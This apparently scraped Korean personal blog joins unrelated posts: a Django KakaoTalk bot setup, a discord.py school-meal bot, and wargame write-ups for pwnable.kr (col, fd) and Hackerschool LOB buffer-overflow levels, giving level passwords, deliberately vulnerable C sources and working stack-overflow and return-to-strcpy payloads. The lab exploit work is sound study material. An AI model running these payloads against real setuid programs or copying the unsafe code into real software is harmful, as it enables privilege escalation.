M4ndU의 만두만두한 블로그

col@ubuntu:~$ ls -l

total 16

-r-sr-x--- 1 col_pwn col     7341 Jun 11  2014 col

-rw-r--r-- 1 root    root     555 Jun 12  2014 col.c

-r--r----- 1 col_pwn col_pwn   52 Jun 11  2014 flag

col@ubuntu:~$ cat col.c

#include <stdio.h>

#include <string.h>

unsigned long hashcode = 0x21DD09EC;

unsigned long check_password(const char* p){

int* ip = (int*)p;

int i;

int res=0;

for(i=0; i<5; i++){

res += ip[i];

}

return res;

}

int main(int argc, char* argv[]){

if(argc<2){

printf("usage : %s [passcode]\n", argv[0]);

return 0;

}

if(strlen(argv[1]) != 20){

printf("passcode length should be 20 bytes\n");

return 0;

}

if(hashcode == check_password( argv[1] )){

system("/bin/cat flag");

return 0;

}

else

printf("wrong passcode.\n");

return 0;

}

col@ubuntu:~$ ./col `python -c 'print "\x01\x01\x01\x01"*4+"\xE8\x05\xD9\x1D"'`

daddy! I just managed to create a hash collision :)

fd@ubuntu:~$ ls -l

total 16

-r-sr-x--- 1 fd_pwn fd   7322 Jun 11  2014 fd

-rw-r--r-- 1 root   root  418 Jun 11  2014 fd.c

-r--r----- 1 fd_pwn root   50 Jun 11  2014 flag

fd@ubuntu:~$ cat flag

cat: flag: Permission denied

fd@ubuntu:~$ cat fd.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

char buf[32];

int main(int argc, char* argv[], char* envp[]){

if(argc<2){

printf("pass argv[1] a number\n");

return 0;

}

int fd = atoi( argv[1] ) - 0x1234;

int len = 0;

len = read(fd, buf, 32);

if(!strcmp("LETMEWIN\n", buf)){

printf("good job :)\n");

system("/bin/cat flag");

exit(0);

}

printf("learn about Linux file IO\n");

return 0;

}

fd@ubuntu:~$ ./fd 4660

LETMEWIN

good job :)

mommy! I think I know what a file descriptor is!!

--18.03.03 추가

그래서 함수 하나로 만들어서 최적화를 진행하였습니다.

수정된 코드는 제 깃허브에 있습니다.

https://github.com/M4ndU/inhun_kakao_chat_bot_2

----------

이동하기 -> 카카오톡 관리자 센터 (https://center-pf.kakao.com)

~$ pip3 install --upgrade pip

~$ pip3 install django

$ django-admin startproject [프로젝트 이름] .

$ python3 manage.py startapp [어플리케이션 이름]

~/project$ mkdir tistory

~/project$ cd tistory/

~/project/tistory$ django-admin startproject mybot .

~/project/tistory$ ls

manage.py  mybot

~/project/tistory$ python3 manage.py startapp testest

$ python3 manage.py migrate

25: # SECURITY WARNING: don't run with debug turned on in production!

26: DEBUG = False

27: 

28: ALLOWED_HOSTS = ['*']

31: # Application definition

32: 

33: INSTALLED_APPS = [

34:     'django.contrib.admin',

35:     'django.contrib.auth',

36:     'django.contrib.contenttypes',

37:     'django.contrib.sessions',

38:     'django.contrib.messages',

39:     'django.contrib.staticfiles',

40:     'testtest',

41: ]

108: TIME_ZONE = 'Asia/Seoul'

16: from django.conf.urls import include, url

17: from django.contrib import admin

19: urlpatterns = [

20:     url(r'^testtest/', include('testtest.urls')),

21:     url(r'^admin/', admin.site.urls),

22: ]

앱 URL은 자신의 서버URL을 사용합니다.

여기에 사용한 포트 그대로 사용

그리고 api테스트를 클릭하여 정상적으로 작동하는지 확인합니다.

@client.event

async def on_ready():

    print('Logged in as')

    print(client.user.name)

    print(client.user.id)

    print('---------')

    await client.change_presence(game=discord.Game(name="!a for help"))

            embed = discord.Embed(title="No Meal", description="급식이 없습니다.", color=0x00ff00)

            await client.send_message(message.channel, embed=embed)

import datetime

from parser import *

1. 디스코드에서 사용자로부터 명령어를 인식합니다.

저는 '!t' 로 설정하겠습니다.

2. 명령어를 인식한 시점으로부터 다음날의 날짜값과 그 날짜의 요일값을 가져옵니다.

파서의 함수가 필요로 하는 인자가 조식.중식.석식 여부 / 날짜 / 요일이기 때문입니다.

모두 datetime 함수를 사용합니다.

3. 급식을 파싱하는 함수를 호출합니다. 그리고 그 값을 저장합니다.

4. 그 값을 출력합니다.

제가 다니는 학교의 급식 상황을 보면, 조식이 전혀 없고 중식이 없을 경우 100% 석식이 없습니다.

이에 따라 조건절을 추가하여 출력되는 메세지를 '최적화'하였습니다.

(식단 내용 외 날짜등의 정보도 같이 출력해주기 때문입니다.)

중식이 없을 경우 급식이 없다고 출력,

중식이 있고 석식은 없을 경우 중식만 출력,

중식 석식 모두 있을 경우 모두 출력.

@client.event

async def on_message(message):

1. 디스코드에서 사용자로부터 명령어를 인식합니다.

저는 '!t' 로 설정하겠습니다.

2. 날짜를 입력하라는 메세지를 보냅니다. 그리고 받은 날짜의 요일값을 구합니다. (코드로 구현하면 길어집니다.)

datetime 모듈을 이용합니다.

3. 급식을 파싱하는 함수를 호출합니다. 그리고 그 값을 저장합니다.

4. 그 값을 출력합니다.

제가 다니는 학교의 급식 상황을 보면, 조식이 전혀 없고 중식이 없을 경우 100% 석식이 없습니다.

이에 따라 조건절을 추가하여 출력되는 메세지를 '최적화'하였습니다.

(식단 내용 외 날짜등의 정보도 같이 출력해주기 때문입니다.)

중식이 없을 경우 급식이 없다고 출력,

중식이 있고 석식은 없을 경우 중식만 출력,

중식 석식 모두 있을 경우 모두 출력.

 바로가기 <-- (https://github.com/Rapptz/discord.py)

@client.event

async def on_ready():

    print('Logged in as')

    print(client.user.name)

    print(client.user.id)

    print('------')

@client.event

async def on_message(message):

    if message.content.startswith('!test'):

        await client.send_message(message.channel, 'test!!!!')

    elif message.content.startswith('!say'):

        await client.send_message(message.channel, 'leave message')

        msg = await client.wait_for_message(timeout=15.0, author=message.author)

        if msg is None:

            await client.send_message(message.channel, '15초내로 입력해주세요. 다시시도: !say')

            return

        else:

            await client.send_message(message.channel, msg.content)

client.run('token')

해커스쿨 LOB [xavius -> death_knight] 풀이입니다.

ID | xavius

PW | throw me away

으로 로그인합니다.

\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.

그리고

를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,

를 이용해 소스코드를 확인합시다.

login: xavius

Password:

[xavius@localhost xavius]$ bash2

[xavius@localhost xavius]$ ls -l

total 20

-rwsr-sr-x    1 death_kn death_kn    14134 Mar 30  2010 death_knight

-rw-r--r--    1 root     root         1409 Mar 30  2010 death_knight.c

[xavius@localhost xavius]$ cat death_knight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>

main()

{

        char buffer[40];

        int server_fd, client_fd;

        struct sockaddr_in server_addr;

        struct sockaddr_in client_addr;

        int sin_size;

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

                perror("socket");

                exit(1);

        }

        server_addr.sin_family = AF_INET;

        server_addr.sin_port = htons(6666);

        server_addr.sin_addr.s_addr = INADDR_ANY;

        bzero(&(server_addr.sin_zero), 8);

        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

                perror("bind");

                exit(1);

        }

        if(listen(server_fd, 10) == -1){

                perror("listen");

                exit(1);

        }

        while(1) {

                sin_size = sizeof(struct sockaddr_in);

                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

                        perror("accept");

                        continue;

                }

                if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0);

                        close(client_fd);

                        break;

                }

                close(client_fd);

                while(waitpid(-1,NULL,WNOHANG) > 0);

        }

        close(server_fd);

}

...

0x8048a02 <main+318>:   add    %esp,16

0x8048a05 <main+321>:   push   0

0x8048a07 <main+323>:   push   0x100

0x8048a0c <main+328>:   lea    %eax,[%ebp-40]

0x8048a0f <main+331>:   push   %eax

0x8048a10 <main+332>:   mov    %eax,DWORD PTR [%ebp-48]

0x8048a13 <main+335>:   push   %eax

0x8048a14 <main+336>:   call   0x804860c <recv>

해커스쿨 LOB [nightmare -> xavius] 풀이입니다.

ID | nightmare

PW | beg for me

으로 로그인합니다.

\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.

그리고

를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,

를 이용해 소스코드를 확인합시다.

login: nightmare

Password:

[nightmare@localhost nightmare]$ bash2

[nightmare@localhost nightmare]$ ls -l

total 20

-rwsr-sr-x    1 xavius   xavius      13398 Mar 30  2010 xavius

-rw-r--r--    1 root     root         1019 Mar 30  2010 xavius.c

[nightmare@localhost nightmare]$ cat xavius.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

main()

{

        char buffer[40];

        char *ret_addr;

        // overflow!

        fgets(buffer, 256, stdin);

        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }

        if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }

        // check if the ret_addr is library function or not

        memcpy(&ret_addr, buffer+44, 4);

        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function

        {

                if(*ret_addr == '\xc9'){                // leave

                        if(*(ret_addr+1) == '\xc3'){    // ret

                                printf("You cannot use library function!\n");

                                exit(0);

                        }

                }

                ret_addr++;

        }

        // stack destroyer

        memset(buffer, 0, 44);

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}

        // check if the ret_addr is library function or not

        memcpy(&ret_addr, buffer+44, 4);

        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function

        {

                if(*ret_addr == '\xc9'){                // leave

                        if(*(ret_addr+1) == '\xc3'){    // ret

                                printf("You cannot use library function!\n");

                                exit(0);

                        }

                }

                ret_addr++;

        }

해커스쿨 LOB [succubus -> nightmare] 풀이입니다.

ID | succubus

PW | here to stay

으로 로그인합니다.

\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.

그리고

를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,

를 이용해 소스코드를 확인합시다.

login: succubus

Password:

[succubus@localhost succubus]$ bash2

[succubus@localhost succubus]$ ls -l

total 20

-rwsr-sr-x    1 nightmar nightmar    12983 Mar 30  2010 nightmare

-rw-r--r--    1 root     root          625 Mar 30  2010 nightmare.c

[succubus@localhost succubus]$ cat nightmare.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>

main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        // check address

        addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }

        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);

}

        // check address

        addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }

$export EGG1=`python -c 'print "\xe4\xfb\xff\xbf"'`

[succubus@localhost env]$ export EGG1=`python -c 'print "\x48\xfc\xff\xbf"'`

[succubus@localhost env]$ ./1

ADDR -> 0xbffffbda

&strcpy() | 0x08048410

&ret | 0xbffffa10

&(&SHELLCODE) | 0xbffffbda

&buffer | 0xbffff9e0

./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`